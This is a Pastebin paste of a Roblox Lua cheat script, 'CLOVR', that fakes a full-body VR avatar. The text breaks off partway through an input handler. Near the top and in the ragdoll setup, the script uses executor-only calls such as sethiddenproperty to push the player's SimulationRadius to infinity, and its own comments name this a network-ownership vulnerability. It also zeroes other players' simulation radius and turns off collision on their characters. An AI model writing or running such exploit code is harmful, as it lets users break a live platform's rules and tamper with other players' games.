Advertisement
foxywolf233

fe fake vr

Sep 14th, 2022
1,273
2
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.31 KB | Source Code | 2 0
  1. -- CLOVR - FE FULL-BODY VR SCRIPT
  2.  
  3. -- April 21st Update - TOOL HOLDING ADDED
  4.  
  5. -- | made by 0866 and Abacaxl
  6. -- | tysm unverified
  7.  
  8.  
  9. --RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work. Feel free to change the other settings though. -Abacaxl
  10.  
  11. --get full access to network ownership on your client, sometimes works
  12.  
  13. spawn(function()while wait()do
  14. sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.pow(math.huge, math.huge))
  15. sethiddenproperty(game.Players.LocalPlayer,"MaximumSimulationRadius",math.pow(math.huge, math.huge))
  16. end end)
  17.  
  18. --|| Settings:
  19. local StudsOffset = 0 -- Character height (negative if you're too high)
  20. local Smoothness = 0 -- Character interpolation (0.1 - 1 = smooth - rigid)
  21. local AnchorCharacter = true -- Prevent physics from causing inconsistencies
  22. local HideCharacter = false -- Hide character on a platform
  23. local NoCollision = true -- Disable player collision
  24. local ChatEnabled = true -- See chat on your left hand in-game
  25. local ChatLocalRange = 75 -- Local chat range
  26. local ViewportEnabled = true -- View nearby players in a frame
  27. local ViewportRange = 30 -- Maximum distance players are updated
  28. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)
  29. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)
  30. local AutoRun = false -- Run script on respawn
  31. local AutoRespawn = true -- Kill your real body when your virtual body dies
  32. local WearAllAccessories = true -- Use all leftover hats for the head
  33. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands
  34. local AccessorySettings = {
  35. LeftArm = "";
  36. RightArm = "";
  37. LeftLeg = "";
  38. RightLeg = "";
  39. Torso = "";
  40. Head = true;
  41. BlockArms = true;
  42. BlockLegs = true;
  43. BlockTorso = true;
  44. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
  45. }
  46. local FootPlacementSettings = {
  47. RightOffset = Vector3.new(.5, 0, 0),
  48. LeftOffset = Vector3.new(-.5, 0, 0),
  49. }
  50. --|| Script:
  51. local Script = nil;
  52. Script = function()
  53. --[[
  54. Variables
  55. --]]
  56. local Players = game:GetService("Players")
  57. local Client = Players.LocalPlayer
  58. local Character = Client.Character or Client.CharacterAdded:Wait()
  59. local WeldBase = Character:WaitForChild("HumanoidRootPart")
  60. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase
  61. local Backpack = Client:WaitForChild("Backpack")
  62. local Mouse = Client:GetMouse()
  63. local Camera = workspace.CurrentCamera
  64. local VRService = game:GetService("VRService")
  65. local VRReady = VRService.VREnabled
  66. local UserInputService = game:GetService("UserInputService")
  67. local RunService = game:GetService("RunService")
  68. local HttpService = game:GetService("HttpService")
  69. local StarterGui = game:GetService("StarterGui")
  70. local HeadAccessories = {};
  71. local UsedAccessories = {};
  72. local Pointer = false;
  73. local Point1 = false;
  74. local Point2 = false;
  75. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]
  76. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]
  77. local Anchor = Instance.new("Part")
  78. Anchor.Anchored = true
  79. Anchor.Transparency = 1
  80. Anchor.CanCollide = false
  81. Anchor.Parent = workspace
  82. if RagdollEnabled then
  83. print("RagdollEnabled, thank you for using CLOVR!")
  84. local NetworkAccess = coroutine.create(function()
  85. settings().Physics.AllowSleep = false
  86. while true do game:GetService("RunService").RenderStepped:Wait()
  87. for _,Players in next, game:GetService("Players"):GetChildren() do
  88. if Players ~= game:GetService("Players").LocalPlayer then
  89. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end
  90. game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
  91. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)
  92. coroutine.resume(NetworkAccess)
  93. end
  94. StarterGui:SetCore("VRLaserPointerMode", 3)
  95. --[[
  96. Character Protection
  97. --]]
  98. local CharacterCFrame = WeldBase.CFrame
  99. if not RagdollEnabled then
  100. Character.Humanoid.AnimationPlayed:Connect(function(Animation)
  101. Animation:Stop()
  102. end)
  103. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do
  104. Track:Stop()
  105. end
  106. if HideCharacter then
  107. local Platform = Instance.new("Part")
  108. Platform.Anchored = true
  109. Platform.Size = Vector3.new(100, 5, 100)
  110. Platform.CFrame = CFrame.new(0, 10000, 0)
  111. Platform.Transparency = 1
  112. Platform.Parent = workspace
  113. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))
  114. wait(.5)
  115. end
  116. if AnchorCharacter then
  117. for _, Part in pairs(Character:GetChildren()) do
  118. if Part:IsA("BasePart") then
  119. Part.Anchored = true
  120. end
  121. end
  122. end
  123. end
  124. --[[
  125. Functions
  126. --]]
  127. function Tween(Object, Style, Direction, Time, Goal)
  128. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])
  129. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)
  130. tween.Completed:Connect(function()
  131. tween:Destroy()
  132. end)
  133. tween:Play()
  134. return tween
  135. end
  136. local function GetMotorForLimb(Limb)
  137. for _, Motor in next, Character:GetDescendants() do
  138. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
  139. return Motor
  140. end
  141. end
  142. end
  143. local function CreateAlignment(Limb, Part0)
  144. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
  145. local Attachment1 = Instance.new("Attachment", Limb)
  146. local Orientation = Instance.new("AlignOrientation")
  147. local Position = Instance.new("AlignPosition")
  148. Orientation.Attachment0 = Attachment1
  149. Orientation.Attachment1 = Attachment0
  150. Orientation.RigidityEnabled = false
  151. Orientation.MaxTorque = 20000
  152. Orientation.Responsiveness = 40
  153. Orientation.Parent = Character.HumanoidRootPart
  154. Position.Attachment0 = Attachment1
  155. Position.Attachment1 = Attachment0
  156. Position.RigidityEnabled = false
  157. Position.MaxForce = 40000
  158. Position.Responsiveness = 40
  159. Position.Parent = Character.HumanoidRootPart
  160. Limb.Massless = false
  161. local Motor = GetMotorForLimb(Limb)
  162. if Motor then
  163. Motor:Destroy()
  164. end
  165. return function(CF, Local)
  166. if Local then
  167. Attachment0.CFrame = CF
  168. else
  169. Attachment0.WorldCFrame = CF
  170. end
  171. end;
  172. end
  173. local function GetExtraTool()
  174. for _, Tool in next, Character:GetChildren() do
  175. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then
  176. return Tool
  177. end
  178. end
  179. end
  180. local function GetGripForHandle(Handle)
  181. for _, Weld in next, Character:GetDescendants() do
  182. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  183. return Weld
  184. end
  185. end
  186. wait(.2)
  187. for _, Weld in next, Character:GetDescendants() do
  188. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  189. return Weld
  190. end
  191. end
  192. end
  193. local function CreateRightGrip(Handle)
  194. local RightGrip = Instance.new("Weld")
  195. RightGrip.Name = "RightGrip"
  196. RightGrip.Part1 = Handle
  197. RightGrip.Part0 = WeldBase
  198. RightGrip.Parent = WeldBase
  199. return RightGrip
  200. end
  201. local function CreateAccessory(Accessory, DeleteMeshes)
  202. if not Accessory then
  203. return
  204. end
  205. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  206. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)
  207. local BasePart = HeadAttachment.Parent
  208. local HatAtt = HatAttachment.CFrame
  209. local HeadAtt = HeadAttachment.CFrame
  210. if DeleteMeshes then
  211. if Accessory.Handle:FindFirstChild("Mesh") then
  212. Accessory.Handle.Mesh:Destroy()
  213. end
  214. end
  215. wait()
  216. local Handle = Accessory:WaitForChild("Handle")
  217. if Handle:FindFirstChildWhichIsA("Weld", true) then
  218. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
  219. Handle:BreakJoints()
  220. else
  221. Handle:BreakJoints()
  222. end
  223. Handle.Massless = true
  224. Handle.Transparency = 0.5
  225. UsedAccessories[Accessory] = true
  226. local RightGrip = CreateRightGrip(Handle)
  227. wait()
  228. for _, Object in pairs(Handle:GetDescendants()) do
  229. if not Object:IsA("BasePart") then
  230. pcall(function()
  231. Object.Transparency = 1
  232. end)
  233. pcall(function()
  234. Object.Enabled = false
  235. end)
  236. end
  237. end
  238. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;
  239. end
  240. local function GetHeadAccessories()
  241. for _, Accessory in next, Character:GetChildren() do
  242. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then
  243. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)
  244. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})
  245. do
  246. Handle.Transparency = 1
  247. end
  248. if not WearAllAccessories then
  249. break
  250. end
  251. end
  252. end
  253. end
  254. --[[
  255. VR Replication Setup
  256. --]]
  257. if not RagdollEnabled then
  258. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)
  259. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)
  260. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)
  261. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)
  262. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)
  263. GetHeadAccessories()
  264. elseif RagdollEnabled then
  265. if RagdollHeadMovement then
  266. Permadeath()
  267. MoveHead = CreateAlignment(Character["Head"])
  268. end
  269. MoveRightArm = CreateAlignment(Character["Right Arm"])
  270. MoveLeftArm = CreateAlignment(Character["Left Arm"])
  271. MoveRightLeg = CreateAlignment(Character["Right Leg"])
  272. MoveLeftLeg = CreateAlignment(Character["Left Leg"])
  273. MoveTorso = CreateAlignment(Character["Torso"])
  274. MoveRoot = CreateAlignment(Character.HumanoidRootPart)
  275. if RagdollHeadMovement then
  276. for _, Accessory in next, Character:GetChildren() do
  277. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then
  278. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  279. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)
  280. local Orientation = Instance.new("AlignOrientation")
  281. local Position = Instance.new("AlignPosition")
  282. print(Attachment1, Attachment0, Accessory)
  283. Orientation.Attachment0 = Attachment1
  284. Orientation.Attachment1 = Attachment0
  285. Orientation.RigidityEnabled = false
  286. Orientation.ReactionTorqueEnabled = true
  287. Orientation.MaxTorque = 20000
  288. Orientation.Responsiveness = 40
  289. Orientation.Parent = Character.Head
  290. Position.Attachment0 = Attachment1
  291. Position.Attachment1 = Attachment0
  292. Position.RigidityEnabled = false
  293. Position.ReactionForceEnabled = true
  294. Position.MaxForce = 40000
  295. Position.Responsiveness = 40
  296. Position.Parent = Character.Head
  297. end
  298. end
  299. end
  300. end
  301. --[[
  302. Movement
  303. --]]
  304. VirtualRig.Name = "VirtualRig"
  305. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
  306. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
  307. VirtualRig.Parent = workspace
  308. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)
  309. VirtualRig.Humanoid.Health = 0
  310. VirtualRig:BreakJoints()
  311. --
  312. VirtualBody.Parent = workspace
  313. VirtualBody.Name = "VirtualBody"
  314. VirtualBody.Humanoid.WalkSpeed = 8
  315. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
  316. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)
  317. VirtualBody.Humanoid.Died:Connect(function()
  318. print("Virtual death")
  319. if AutoRespawn then
  320. Character:BreakJoints()
  321. if RagdollHeadMovement and RagdollEnabled then
  322. Network:Unclaim()
  323. Respawn()
  324. end
  325. end
  326. end)
  327. --
  328. Camera.CameraSubject = VirtualBody.Humanoid
  329. Character.Humanoid.WalkSpeed = 0
  330. Character.Humanoid.JumpPower = 1
  331. for _, Part in next, VirtualBody:GetChildren() do
  332. if Part:IsA("BasePart") then
  333. Part.Transparency = 1
  334. end
  335. end
  336. for _, Part in next, VirtualRig:GetChildren() do
  337. if Part:IsA("BasePart") then
  338. Part.Transparency = 1
  339. end
  340. end
  341. if not VRReady then
  342. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true
  343. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
  344. end
  345. local OnMoving = RunService.Stepped:Connect(function()
  346. local Direction = Character.Humanoid.MoveDirection
  347. local Start = VirtualBody.HumanoidRootPart.Position
  348. local Point = Start + Direction * 6
  349. VirtualBody.Humanoid:MoveTo(Point)
  350. end)
  351. Character.Humanoid.Jumping:Connect(function()
  352. VirtualBody.Humanoid.Jump = true
  353. end)
  354. UserInputService.JumpRequest:Connect(function()
  355. VirtualBody.Humanoid.Jump = true
  356. end)
  357. --[[
  358. VR Replication
  359. --]]
  360. if RagdollEnabled then
  361. for _, Part in pairs(Character:GetDescendants()) do
  362. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then
  363. Part.LocalTransparencyModifier = 1
  364. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then
  365. Part.LocalTransparencyModifier = 0.5
  366. elseif Part:IsA("BasePart") and Part.Name == "Head" then
  367. Part.LocalTransparencyModifier = 1
  368. end
  369. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
  370. pcall(function()
  371. Part.Transparency = 1
  372. end)
  373. pcall(function()
  374. Part.Enabled = false
  375. end)
  376. end
  377. end
  378. end
  379. local FootUpdateDebounce = tick()
  380. local function FloorRay(Part, Distance)
  381. local Position = Part.CFrame.p
  382. local Target = Position - Vector3.new(0, Distance, 0)
  383. local Line = Ray.new(Position, (Target - Position).Unit * Distance)
  384. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})
  385. if FloorPart then
  386. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude
  387. else
  388. return nil, Target, Vector3.new(), Distance
  389. end
  390. end
  391. local function Flatten(CF)
  392. local X,Y,Z = CF.X,CF.Y,CF.Z
  393. local LX,LZ = CF.lookVector.X,CF.lookVector.Z
  394. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)
  395. end
  396. local FootTurn = 1
  397. local function FootReady(Foot, Target)
  398. local MaxDist
  399. if Character.Humanoid.MoveDirection.Magnitude > 0 then
  400. MaxDist = .5
  401. else
  402. MaxDist = 1
  403. end
  404. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist
  405. local PastTick = tick() - FootUpdateDebounce >= 2
  406. if PastThreshold or PastTick then
  407. FootUpdateDebounce = tick()
  408. end
  409. return
  410. PastThreshold
  411. or
  412. PastTick
  413. end
  414. local function FootYield()
  415. local RightFooting = VirtualRig.RightFoot.BodyPosition
  416. local LeftFooting = VirtualRig.LeftFoot.BodyPosition
  417. local LowerTorso = VirtualRig.LowerTorso
  418. local Yield = tick()
  419. repeat
  420. RunService.Stepped:Wait()
  421. if
  422. (LowerTorso.Position - RightFooting.Position).Y > 4
  423. or
  424. (LowerTorso.Position - LeftFooting.Position).Y > 4
  425. or
  426. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  427. or
  428. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  429. then
  430. break
  431. end
  432. until tick() - Yield >= .17
  433. end
  434. local function UpdateFooting()
  435. if not VirtualRig:FindFirstChild("LowerTorso") then
  436. wait()
  437. return
  438. end
  439. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)
  440. Dist = math.clamp(Dist, 0, 5)
  441. local FootTarget =
  442. VirtualRig.LowerTorso.CFrame *
  443. CFrame.new(FootPlacementSettings.RightOffset) -
  444. Vector3.new(0, Dist, 0) +
  445. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  446. if FootReady(VirtualRig.RightFoot, FootTarget) then
  447. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
  448. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  449. end
  450. FootYield()
  451. local FootTarget =
  452. VirtualRig.LowerTorso.CFrame *
  453. CFrame.new(FootPlacementSettings.LeftOffset) -
  454. Vector3.new(0, Dist, 0) +
  455. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  456. if FootReady(VirtualRig.LeftFoot, FootTarget) then
  457. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
  458. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  459. end
  460. end
  461. local function UpdateTorsoPosition()
  462. if not RagdollEnabled then
  463. if TorsoHandle then
  464. local Positioning = VirtualRig.UpperTorso.CFrame
  465. if not TorsoGrip or not TorsoGrip.Parent then
  466. TorsoGrip = CreateRightGrip(TorsoHandle)
  467. end
  468. local Parent = TorsoGrip.Parent
  469. TorsoGrip.C1 = CFrame.new()
  470. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)
  471. TorsoGrip.Parent = nil
  472. TorsoGrip.Parent = Parent
  473. end
  474. else
  475. local Positioning = VirtualRig.UpperTorso.CFrame
  476. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))
  477. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
  478. end
  479. end
  480. local function UpdateLegPosition()
  481. if not RagdollEnabled then
  482. if RightHipHandle then
  483. local Positioning =
  484. VirtualRig.RightLowerLeg.CFrame
  485. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  486. + Vector3.new(0, 0.5, 0)
  487. if not RightHipHandle or not RightHipHandle.Parent then
  488. RightLegGrip = CreateRightGrip(RightHipHandle)
  489. end
  490. local Parent = RightLegGrip.Parent
  491. RightLegGrip.C1 = CFrame.new()
  492. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  493. RightLegGrip.Parent = nil
  494. RightLegGrip.Parent = Parent
  495. end
  496. if LeftHipHandle then
  497. local Positioning =
  498. VirtualRig.LeftLowerLeg.CFrame
  499. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  500. + Vector3.new(0, 0.5, 0)
  501. if not LeftLegGrip or not LeftLegGrip.Parent then
  502. LeftLegGrip = CreateRightGrip(LeftHipHandle)
  503. end
  504. local Parent = LeftLegGrip.Parent
  505. LeftLegGrip.C1 = CFrame.new()
  506. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  507. LeftLegGrip.Parent = nil
  508. LeftLegGrip.Parent = Parent
  509. end
  510. else
  511. do
  512. local Positioning =
  513. VirtualRig.RightLowerLeg.CFrame
  514. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  515. * CFrame.Angles(0, math.rad(180), 0)
  516. + Vector3.new(0, 0.5, 0)
  517. MoveRightLeg(Positioning)
  518. end
  519. do
  520. local Positioning =
  521. VirtualRig.LeftLowerLeg.CFrame
  522. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  523. * CFrame.Angles(0, math.rad(180), 0)
  524. + Vector3.new(0, 0.5, 0)
  525. MoveLeftLeg(Positioning)
  526. end
  527. end
  528. end
  529. warn("VRReady is", VRReady)
  530. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)
  531. local Positioning = Camera.CFrame * Positioning
  532. if not IgnoreTorso then
  533. UpdateTorsoPosition()
  534. UpdateLegPosition()
  535. end
  536. if not RagdollEnabled then
  537. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then
  538. for _, Table in next, HeadAccessories do
  539. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)
  540. local LocalPositioning = Positioning
  541. if not RightGrip or not RightGrip.Parent then
  542. RightGrip = CreateRightGrip(Handle)
  543. Table[2] = RightGrip
  544. end
  545. local Parent = RightGrip.Parent
  546. if BasePart then
  547. LocalPositioning = BasePart.CFrame * HeadAtt
  548. end
  549. RightGrip.C1 = HatAtt
  550. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
  551. RightGrip.Parent = nil
  552. RightGrip.Parent = Parent
  553. end
  554. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
  555. local HandPosition = Positioning
  556. local LocalPositioning = Positioning
  557. if not RightHandGrip or not RightHandGrip.Parent then
  558. RightHandGrip = CreateRightGrip(RightHandle)
  559. end
  560. if AccurateHandPosition then
  561. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  562. end
  563. if not VRReady then
  564. local HeadRotation = Camera.CFrame - Camera.CFrame.p
  565. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  566. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
  567. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)
  568. if Point2 then
  569. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  570. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  571. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  572. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  573. end
  574. elseif AccurateHandPosition then
  575. LocalPositioning = HandPosition
  576. end
  577. local Parent = RightHandGrip.Parent
  578. RightHandGrip.C1 = CFrame.new()
  579. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  580. RightHandGrip.Parent = nil
  581. RightHandGrip.Parent = Parent
  582. --
  583. local EquippedTool = GetExtraTool()
  584. if EquippedTool and EquippedTool:FindFirstChild("Handle") then
  585. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)
  586. local Parent = EquippedGrip.Parent
  587. local ArmBaseCFrame = ArmBase.CFrame
  588. if ArmBase.Name == "Right Arm" then
  589. ArmBaseCFrame = ArmBaseCFrame
  590. end
  591. EquippedGrip.C1 = EquippedTool.Grip
  592. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
  593. EquippedGrip.Parent = nil
  594. EquippedGrip.Parent = Parent
  595. end
  596. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
  597. local HandPosition = Positioning
  598. if not LeftHandGrip or not LeftHandGrip.Parent then
  599. LeftHandGrip = CreateRightGrip(LeftHandle)
  600. end
  601. if AccurateHandPosition then
  602. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  603. end
  604. if not VRReady then
  605. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  606. --warn("Setting HandPosition to hands")
  607. if Point1 then
  608. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  609. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  610. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  611. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  612. end
  613. end
  614. local Parent = LeftHandGrip.Parent
  615. LeftHandGrip.C1 = CFrame.new()
  616. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  617. LeftHandGrip.Parent = nil
  618. LeftHandGrip.Parent = Parent
  619. end
  620. end
  621. if RagdollEnabled then
  622. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then
  623. MoveHead(Positioning)
  624. elseif UserCFrame == Enum.UserCFrame.RightHand then
  625. local Positioning = Positioning
  626. if not VRReady then
  627. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
  628. elseif AccurateHandPosition then
  629. Positioning = Positioning * CFrame.new(0, 0, 1)
  630. end
  631. if VRReady then
  632. Positioning = Positioning * AccessorySettings.LimbOffset
  633. end
  634. MoveRightArm(Positioning)
  635. if Point2 then
  636. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  637. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  638. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  639. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  640. end
  641. elseif UserCFrame == Enum.UserCFrame.LeftHand then
  642. local Positioning = Positioning
  643. if not VRReady then
  644. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
  645. elseif AccurateHandPosition then
  646. Positioning = Positioning * CFrame.new(0, 0, 1)
  647. end
  648. if VRReady then
  649. Positioning = Positioning * AccessorySettings.LimbOffset
  650. end
  651. MoveLeftArm(Positioning)
  652. if Point1 then
  653. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  654. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  655. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  656. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  657. end
  658. end
  659. end
  660. if UserCFrame == Enum.UserCFrame.Head then
  661. VirtualRig.Head.CFrame = Positioning
  662. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then
  663. VirtualRig.RightHand.CFrame = Positioning
  664. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then
  665. VirtualRig.LeftHand.CFrame = Positioning
  666. end
  667. if not VRReady and VirtualRig.LeftHand.Anchored then
  668. VirtualRig.RightHand.Anchored = false
  669. VirtualRig.LeftHand.Anchored = false
  670. elseif VRReady and not VirtualRig.LeftHand.Anchored then
  671. VirtualRig.RightHand.Anchored = true
  672. VirtualRig.LeftHand.Anchored = true
  673. end
  674. end
  675. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)
  676. local OnStepped = RunService.Stepped:Connect(function()
  677. for _, Part in pairs(VirtualRig:GetChildren()) do
  678. if Part:IsA("BasePart") then
  679. Part.CanCollide = false
  680. end
  681. end
  682. if RagdollEnabled then
  683. for _, Part in pairs(Character:GetChildren()) do
  684. if Part:IsA("BasePart") then
  685. Part.CanCollide = false
  686. end
  687. end
  688. end
  689. if NoCollision then
  690. for _, Player in pairs(Players:GetPlayers()) do
  691. if Player ~= Client and Player.Character then
  692. local Descendants = Player.Character:GetDescendants()
  693. for i = 1, #Descendants do
  694. local Part = Descendants[i]
  695. if Part:IsA("BasePart") then
  696. Part.CanCollide = false
  697. Part.Velocity = Vector3.new()
  698. Part.RotVelocity = Vector3.new()
  699. end
  700. end
  701. end
  702. end
  703. end
  704. end)
  705. local OnRenderStepped = RunService.Stepped:Connect(function()
  706. Camera.CameraSubject = VirtualBody.Humanoid
  707. if RagdollEnabled then
  708. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame
  709. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
  710. end
  711. if not VRReady then
  712. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))
  713. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)
  714. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)
  715. end
  716. end)
  717. spawn(function()
  718. while Character and Character.Parent do
  719. FootYield()
  720. UpdateFooting()
  721. end
  722. end)
  723. --[[
  724. Non-VR Support + VR Mechanics
  725. --]]
  726. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  727. if not Processed then
  728. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  729. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  730. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)
  731. })
  732. end
  733. if Input.KeyCode == Enum.KeyCode.X then
  734. if RagdollEnabled and RagdollHeadMovement then
  735. Network:Unclaim()
  736. Respawn()
  737. end
  738. end
  739. if Input.KeyCode == Enum.KeyCode.C then
